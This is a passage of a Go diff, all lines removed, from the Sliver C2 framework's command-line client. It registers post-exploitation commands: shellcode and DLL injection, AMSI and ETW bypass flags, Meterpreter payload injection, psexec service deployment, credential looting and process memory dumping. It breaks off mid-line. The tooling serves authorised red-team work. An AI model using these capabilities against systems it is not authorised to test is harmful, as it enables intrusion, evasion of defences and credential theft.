closeSessionCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Tasks ] -------------------------------------------------------------- - - tasksCmd := &cobra.Command{ - Use: consts.TasksStr, - Short: "Beacon task management", - Long: help.GetHelpFor([]string{consts.TasksStr}), - Run: func(cmd *cobra.Command, args []string) { - tasks.TasksCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - Annotations: hideCommand(consts.BeaconCmdsFilter), - } - Flags("tasks", true, tasksCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") - f.IntP("skip-pages", "S", 0, "skip the first n page(s)") - f.StringP("filter", "f", "", "filter based on task type (case-insensitive prefix matching)") - }) - sliver.AddCommand(tasksCmd) - - fetchCmd := &cobra.Command{ - Use: consts.FetchStr, - Short: "Fetch the details of a beacon task", - Long: help.GetHelpFor([]string{consts.TasksStr, consts.FetchStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - tasks.TasksFetchCmd(cmd, con, args) - }, - } - tasksCmd.AddCommand(fetchCmd) - carapace.Gen(fetchCmd).PositionalCompletion(tasks.BeaconTaskIDCompleter(con).Usage("beacon task ID")) - - cancelCmd := &cobra.Command{ - Use: consts.CancelStr, - Short: "Cancel a pending beacon task", - Long: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - tasks.TasksCancelCmd(cmd, con, args) - }, - } - tasksCmd.AddCommand(cancelCmd) - carapace.Gen(cancelCmd).PositionalCompletion(tasks.BeaconPendingTasksCompleter(con).Usage("beacon task ID")) - - // [ Info ] -------------------------------------------------------------- - - infoCmd := &cobra.Command{ - Use: consts.InfoStr, - Short: "Get info about session", - Long: help.GetHelpFor([]string{consts.InfoStr}), - Run: func(cmd *cobra.Command, args []string) { - info.InfoCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - Flags("use", false, infoCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - sliver.AddCommand(infoCmd) - - pingCmd := &cobra.Command{ - Use: consts.PingStr, - Short: "Send round trip message to implant (does not use ICMP)", - Long: help.GetHelpFor([]string{consts.PingStr}), - Run: func(cmd *cobra.Command, args []string) { - info.PingCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(pingCmd) - Flags("", false, pingCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - getPIDCmd := &cobra.Command{ - Use: consts.GetPIDStr, - Short: "Get session pid", - Long: help.GetHelpFor([]string{consts.GetPIDStr}), - Run: func(cmd *cobra.Command, args []string) { - info.PIDCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(getPIDCmd) - Flags("", false, getPIDCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - getUIDCmd := &cobra.Command{ - Use: consts.GetUIDStr, - Short: "Get session process UID", - Long: help.GetHelpFor([]string{consts.GetUIDStr}), - Run: func(cmd *cobra.Command, args []string) { - info.UIDCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(getUIDCmd) - Flags("", false, getUIDCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - getGIDCmd := &cobra.Command{ - Use: consts.GetGIDStr, - Short: "Get session process GID", - Long: help.GetHelpFor([]string{consts.GetGIDStr}), - Run: func(cmd *cobra.Command, args []string) { - info.GIDCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(getGIDCmd) - Flags("", false, getGIDCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - whoamiCmd := &cobra.Command{ - Use: consts.WhoamiStr, - Short: "Get session user execution context", - Long: help.GetHelpFor([]string{consts.WhoamiStr}), - Run: func(cmd *cobra.Command, args []string) { - info.WhoamiCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(whoamiCmd) - Flags("", false, whoamiCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Shell ] -------------------------------------------------------------- - - shellCmd := &cobra.Command{ - Use: consts.ShellStr, - Short: "Start an interactive shell", - Long: help.GetHelpFor([]string{consts.ShellStr}), - Run: func(cmd *cobra.Command, args []string) { - shell.ShellCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.SessionCmdsFilter), - } - sliver.AddCommand(shellCmd) - Flags("", false, shellCmd, func(f *pflag.FlagSet) { - f.BoolP("no-pty", "y", false, "disable use of pty on macos/linux") - f.StringP("shell-path", "s", "", "path to shell interpreter") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Exec ] -------------------------------------------------------------- - - executeCmd := &cobra.Command{ - Use: consts.ExecuteStr, - Short: "Execute a program on the remote system", - Long: help.GetHelpFor([]string{consts.ExecuteStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.ExecuteCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(executeCmd) - Flags("", false, executeCmd, func(f *pflag.FlagSet) { - f.BoolP("token", "T", false, "execute command with current token (windows only)") - f.BoolP("output", "o", false, "capture command output") - f.BoolP("save", "s", false, "save output to a file") - f.BoolP("loot", "X", false, "save output as loot") - f.BoolP("ignore-stderr", "S", false, "don't print STDERR output") - f.StringP("stdout", "O", "", "remote path to redirect STDOUT to") - f.StringP("stderr", "E", "", "remote path to redirect STDERR to") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - executeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)")) - carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)")) - - executeAssemblyCmd := &cobra.Command{ - Use: consts.ExecuteAssemblyStr, - Short: "Loads and executes a .NET assembly in a child process (Windows Only)", - Long: help.GetHelpFor([]string{consts.ExecuteAssemblyStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.ExecuteAssemblyCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(executeAssemblyCmd) - Flags("", false, executeAssemblyCmd, func(f *pflag.FlagSet) { - f.StringP("process", "p", "notepad.exe", "hosting process to inject into") - f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)") - f.StringP("class", "c", "", "Optional class name (required for .NET DLL)") - f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.") - f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)") - f.BoolP("in-process", "i", false, "Run in the current sliver process") - f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)") - f.BoolP("save", "s", false, "save output to file") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.Uint32P("ppid", "P", 0, "parent process id (optional)") - f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") - f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)") - f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - executeAssemblyCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)")) - carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)")) - - executeShellcodeCmd := &cobra.Command{ - Use: consts.ExecuteShellcodeStr, - Short: "Executes the given shellcode in the sliver process", - Long: help.GetHelpFor([]string{consts.ExecuteShellcodeStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.ExecuteShellcodeCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(executeShellcodeCmd) - Flags("", false, executeShellcodeCmd, func(f *pflag.FlagSet) { - f.BoolP("rwx-pages", "r", false, "Use RWX permissions for memory pages") - f.Uint32P("pid", "p", 0, "Pid of process to inject into (0 means injection into ourselves)") - f.StringP("process", "n", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode") - f.BoolP("interactive", "i", false, "Inject into a new process and interact with it") - f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution") - f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)") - f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(executeShellcodeCmd, func(comp *carapace.ActionMap) { - (*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") - }) - carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)")) - - sideloadCmd := &cobra.Command{ - Use: consts.SideloadStr, - Short: "Load and execute a shared object (shared library/DLL) in a remote process", - Long: help.GetHelpFor([]string{consts.SideloadStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.SideloadCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(sideloadCmd) - Flags("", false, sideloadCmd, func(f *pflag.FlagSet) { - f.StringP("entry-point", "e", "", "Entrypoint for the DLL (Windows only)") - f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") - f.BoolP("unicode", "w", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)") - f.BoolP("save", "s", false, "save output to file") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") - f.Uint32P("ppid", "P", 0, "parent process id (optional)") - f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sideloadCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)")) - carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)")) - - spawnDllCmd := &cobra.Command{ - Use: consts.SpawnDllStr, - Short: "Load and execute a Reflective DLL in a remote process", - Long: help.GetHelpFor([]string{consts.SpawnDllStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.SpawnDllCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(spawnDllCmd) - Flags("", false, spawnDllCmd, func(f *pflag.FlagSet) { - f.StringP("process", "p", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode") - f.StringP("export", "e", "ReflectiveLoader", "Entrypoint of the Reflective DLL") - f.BoolP("save", "s", false, "save output to file") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.BoolP("keep-alive", "k", false, "don't terminate host process once the execution completes") - f.UintP("ppid", "P", 0, "parent process id (optional)") - f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - spawnDllCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)")) - carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)")) - - migrateCmd := &cobra.Command{ - Use: consts.MigrateStr, - Short: "Migrate into a remote process", - Long: help.GetHelpFor([]string{consts.MigrateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.MigrateCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(migrateCmd) - Flags("", false, migrateCmd, func(f *pflag.FlagSet) { - f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder") - f.Uint32P("pid", "p", 0, "process id to migrate into") - f.StringP("process-name", "n", "", "name of the process to migrate into") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into")) - - msfCmd := &cobra.Command{ - Use: consts.MsfStr, - Short: "Execute an MSF payload in the current process", - Long: help.GetHelpFor([]string{consts.MsfStr}), - Run: func(cmd *cobra.Command, args []string) { - exec.MsfCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(msfCmd) - Flags("", false, msfCmd, func(f *pflag.FlagSet) { - f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") - f.StringP("lhost", "L", "", "listen host") - f.IntP("lport", "l", 4444, "listen port") - f.StringP("encoder", "e", "", "msf encoder") - f.IntP("iterations", "i", 1, "iterations of the encoder") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - msfInjectCmd := &cobra.Command{ - Use: consts.MsfInjectStr, - Short: "Inject an MSF payload into a process", - Long: help.GetHelpFor([]string{consts.MsfInjectStr}), - Run: func(cmd *cobra.Command, args []string) { - exec.MsfInjectCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(msfInjectCmd) - Flags("", false, msfInjectCmd, func(f *pflag.FlagSet) { - f.IntP("pid", "p", -1, "pid to inject into") - f.StringP("payload", "m", "meterpreter_reverse_https", "msf payload") - f.StringP("lhost", "L", "", "listen host") - f.IntP("lport", "l", 4444, "listen port") - f.StringP("encoder", "e", "", "msf encoder") - f.IntP("iterations", "i", 1, "iterations of the encoder") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - psExecCmd := &cobra.Command{ - Use: consts.PsExecStr, - Short: "Start a sliver service on a remote target", - Long: help.GetHelpFor([]string{consts.PsExecStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.PsExecCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.WindowsCmdsFilter), - } - sliver.AddCommand(psExecCmd) - Flags("", false, psExecCmd, func(f *pflag.FlagSet) { - f.StringP("service-name", "s", "Sliver", "name that will be used to register the service") - f.StringP("service-description", "d", "Sliver implant", "description of the service") - f.StringP("profile", "p", "", "profile to use for service binary") - f.StringP("binpath", "b", "c:\\windows\\temp", "directory to which the executable will be uploaded") - f.StringP("custom-exe", "c", "", "custom service executable to use instead of generating a new Sliver") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(psExecCmd, func(comp *carapace.ActionMap) { - (*comp)["custom-exe"] = carapace.ActionFiles() - }) - carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)")) - - sshCmd := &cobra.Command{ - Use: consts.SSHStr, - Short: "Run a SSH command on a remote host", - Long: help.GetHelpFor([]string{consts.SSHStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.SSHCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(sshCmd) - Flags("", false, sshCmd, func(f *pflag.FlagSet) { - f.UintP("port", "p", 22, "SSH port") - f.StringP("private-key", "i", "", "path to private key file") - f.StringP("password", "P", "", "SSH user password") - f.StringP("login", "l", "", "username to use to connect") - f.BoolP("skip-loot", "s", false, "skip the prompt to use loot credentials") - f.StringP("kerberos-config", "c", "/etc/krb5.conf", "path to remote Kerberos config file") - f.StringP("kerberos-keytab", "k", "", "path to Kerberos keytab file") - f.StringP("kerberos-realm", "r", "", "Kerberos realm") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sshCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true - - FlagComps(sshCmd, func(comp *carapace.ActionMap) { - (*comp)["private-key"] = carapace.ActionFiles() - (*comp)["kerberos-keytab"] = carapace.ActionFiles() - }) - - carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)")) - carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments")) - - // [ Extensions ] ----------------------------------------------------------------- - extensionCmd := &cobra.Command{ - Use: consts.ExtensionsStr, - Short: "Manage extensions", - Long: help.GetHelpFor([]string{consts.ExtensionsStr}), - GroupID: consts.ExtensionHelpGroup, - Run: func(cmd *cobra.Command, _ []string) { - extensions.ExtensionsCmd(cmd, con) - }, - } - sliver.AddCommand(extensionCmd) - - extensionCmd.AddCommand(&cobra.Command{ - Use: consts.ListStr, - Short: "List extensions loaded in the current session or beacon", - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionsListCmd(cmd, con, args) - }, - }) - - extensionLoadCmd := &cobra.Command{ - Use: consts.LoadStr, - Short: "Temporarily load an extension from a local directory", - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionLoadCmd(cmd, con, args) - }, - } - extensionCmd.AddCommand(extensionLoadCmd) - carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory")) - - extensionInstallCmd := &cobra.Command{ - Use: consts.InstallStr, - Short: "Install an extension from a local directory or .tar.gz file", - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionsInstallCmd(cmd, con, args) - }, - } - extensionCmd.AddCommand(extensionInstallCmd) - carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory")) - - extensionRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove an installed extension", - Args: cobra.ExactArgs(1), - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - extensions.ExtensionsRemoveCmd(cmd, con, args) - }, - } - extensionCmd.AddCommand(extensionRmCmd) - carapace.Gen(extensionRmCmd).PositionalCompletion(extensions.ExtensionsCommandNameCompleter(con).Usage("the command name of the extension to remove")) - - // [ Filesystem ] --------------------------------------------- - - mvCmd := &cobra.Command{ - Use: consts.MvStr, - Short: "Move or rename a file", - Long: help.GetHelpFor([]string{consts.MvStr}), - Args: cobra.ExactArgs(2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MvCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(mvCmd) - Flags("", false, mvCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(mvCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to source file (required)"), - carapace.ActionValues().Usage("path to dest file (required)"), - ) - - lsCmd := &cobra.Command{ - Use: consts.LsStr, - Short: "List current directory", - Long: help.GetHelpFor([]string{consts.LsStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.LsCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(lsCmd) - Flags("", false, lsCmd, func(f *pflag.FlagSet) { - f.BoolP("reverse", "r", false, "reverse sort order") - f.BoolP("modified", "m", false, "sort by modified time") - f.BoolP("size", "s", false, "sort by size") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(lsCmd).PositionalCompletion(carapace.ActionValues().Usage("path to enumerate (optional)")) - - rmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a file or directory", - Long: help.GetHelpFor([]string{consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.RmCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(rmCmd) - Flags("", false, rmCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively remove files") - f.BoolP("force", "F", false, "ignore safety and forcefully remove files") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(rmCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to remove")) - - mkdirCmd := &cobra.Command{ - Use: consts.MkdirStr, - Short: "Make a directory", - Long: help.GetHelpFor([]string{consts.MkdirStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MkdirCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(mkdirCmd) - Flags("", false, mkdirCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(mkdirCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory to create")) - - cdCmd := &cobra.Command{ - Use: consts.CdStr, - Short: "Change directory", - Long: help.GetHelpFor([]string{consts.CdStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.CdCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(cdCmd) - Flags("", false, cdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(cdCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the directory")) - - pwdCmd := &cobra.Command{ - Use: consts.PwdStr, - Short: "Print working directory", - Long: help.GetHelpFor([]string{consts.PwdStr}), - Run: func(cmd *cobra.Command, args []string) { - filesystem.PwdCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(pwdCmd) - Flags("", false, pwdCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - catCmd := &cobra.Command{ - Use: consts.CatStr, - Short: "Dump file to stdout", - Long: help.GetHelpFor([]string{consts.CatStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.CatCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(catCmd) - Flags("", false, catCmd, func(f *pflag.FlagSet) { - f.BoolP("colorize-output", "c", false, "colorize output") - f.BoolP("hex", "x", false, "display as a hex dump") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("name", "n", "", "name to assign loot (optional)") - f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)") - f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(catCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print")) - - downloadCmd := &cobra.Command{ - Use: consts.DownloadStr, - Short: "Download a file", - Long: help.GetHelpFor([]string{consts.DownloadStr}), - Args: cobra.RangeArgs(1, 2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.DownloadCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(downloadCmd) - Flags("", false, downloadCmd, func(f *pflag.FlagSet) { - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting") - f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting") - f.StringP("name", "n", "", "name to assign the download if looting") - f.BoolP("recurse", "r", false, "recursively download all files in a directory") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(downloadCmd).PositionalCompletion( - carapace.ActionValues().Usage("path to the file or directory to download"), - carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"), - ) - - uploadCmd := &cobra.Command{ - Use: consts.UploadStr, - Short: "Upload a file", - Long: help.GetHelpFor([]string{consts.UploadStr}), - Args: cobra.RangeArgs(1, 2), - Run: func(cmd *cobra.Command, args []string) { - filesystem.UploadCmd(cmd, con, args) - }, - GroupID: consts.FilesystemHelpGroup, - } - sliver.AddCommand(uploadCmd) - Flags("", false, uploadCmd, func(f *pflag.FlagSet) { - f.BoolP("ioc", "i", false, "track uploaded file as an ioc") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(uploadCmd).PositionalCompletion( - carapace.ActionFiles().Usage("local path to the file to upload"), - carapace.ActionValues().Usage("path to the file or directory to upload to (optional)"), - ) - - memfilesCmd := &cobra.Command{ - Use: consts.MemfilesStr, - Short: "List current memfiles", - Long: help.GetHelpFor([]string{consts.MemfilesStr}), - GroupID: consts.FilesystemHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - filesystem.MemfilesListCmd(cmd, con, args) - }, - } - Flags("", true, memfilesCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sliver.AddCommand(memfilesCmd) - - memfilesAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a memfile", - Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.AddStr}), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MemfilesAddCmd(cmd, con, args) - }, - } - memfilesCmd.AddCommand(memfilesAddCmd) - - memfilesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a memfile", - Long: help.GetHelpFor([]string{consts.MemfilesStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - filesystem.MemfilesRmCmd(cmd, con, args) - }, - } - memfilesCmd.AddCommand(memfilesRmCmd) - - carapace.Gen(memfilesRmCmd).PositionalCompletion(carapace.ActionValues().Usage("memfile file descriptor")) - - // [ Network ] --------------------------------------------- - - ifconfigCmd := &cobra.Command{ - Use: consts.IfconfigStr, - Short: "View network interface configurations", - Long: help.GetHelpFor([]string{consts.IfconfigStr}), - Run: func(cmd *cobra.Command, args []string) { - network.IfconfigCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(ifconfigCmd) - Flags("", false, ifconfigCmd, func(f *pflag.FlagSet) { - f.BoolP("all", "A", false, "show all network adapters (default only shows IPv4)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - netstatCmd := &cobra.Command{ - Use: consts.NetstatStr, - Short: "Print network connection information", - Long: help.GetHelpFor([]string{consts.NetstatStr}), - Run: func(cmd *cobra.Command, args []string) { - network.NetstatCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - sliver.AddCommand(netstatCmd) - Flags("", false, netstatCmd, func(f *pflag.FlagSet) { - f.BoolP("tcp", "T", true, "display information about TCP sockets") - f.BoolP("udp", "u", false, "display information about UDP sockets") - f.BoolP("ip4", "4", true, "display information about IPv4 sockets") - f.BoolP("ip6", "6", false, "display information about IPv6 sockets") - f.BoolP("listen", "l", false, "display information about listening sockets") - f.BoolP("numeric", "n", false, "display numeric addresses (disable hostname resolution)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Processes ] --------------------------------------------- - - psCmd := &cobra.Command{ - Use: consts.PsStr, - Short: "List remote processes", - Long: help.GetHelpFor([]string{consts.PsStr}), - Run: func(cmd *cobra.Command, args []string) { - processes.PsCmd(cmd, con, args) - }, - GroupID: consts.ProcessHelpGroup, - } - sliver.AddCommand(psCmd) - Flags("", false, psCmd, func(f *pflag.FlagSet) { - f.IntP("pid", "p", -1, "filter based on pid") - f.StringP("exe", "e", "", "filter based on executable name") - f.StringP("owner", "o", "", "filter based on owner") - f.BoolP("print-cmdline", "c", false, "print command line arguments") - f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") - f.IntP("skip-pages", "S", 0, "skip the first n page(s)") - f.BoolP("tree", "T", false, "print process tree") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - procdumpCmd := &cobra.Command{ - Use: consts.ProcdumpStr, - Short: "Dump process memory", - Long: help.GetHelpFor([]string{consts.ProcdumpStr}), - Run: func(cmd *cobra.Command, args []string) { - processes.ProcdumpCmd(cmd, con, args) - }, - GroupID: consts.ProcessHelpGroup, - } - sliver.AddCommand(procdumpCmd) - Flags("", false, procdumpCmd, func(f *pflag.FlagSet) { - f.IntP("pid", "p", -1, "target pid") - f.StringP("name", "n", "", "target process name") - f.StringP("save", "s", "", "save to file (will overwrite if exists)") - f.BoolP("loot", "X", false, "save output as loot") - f.StringP("loot-name", "N", 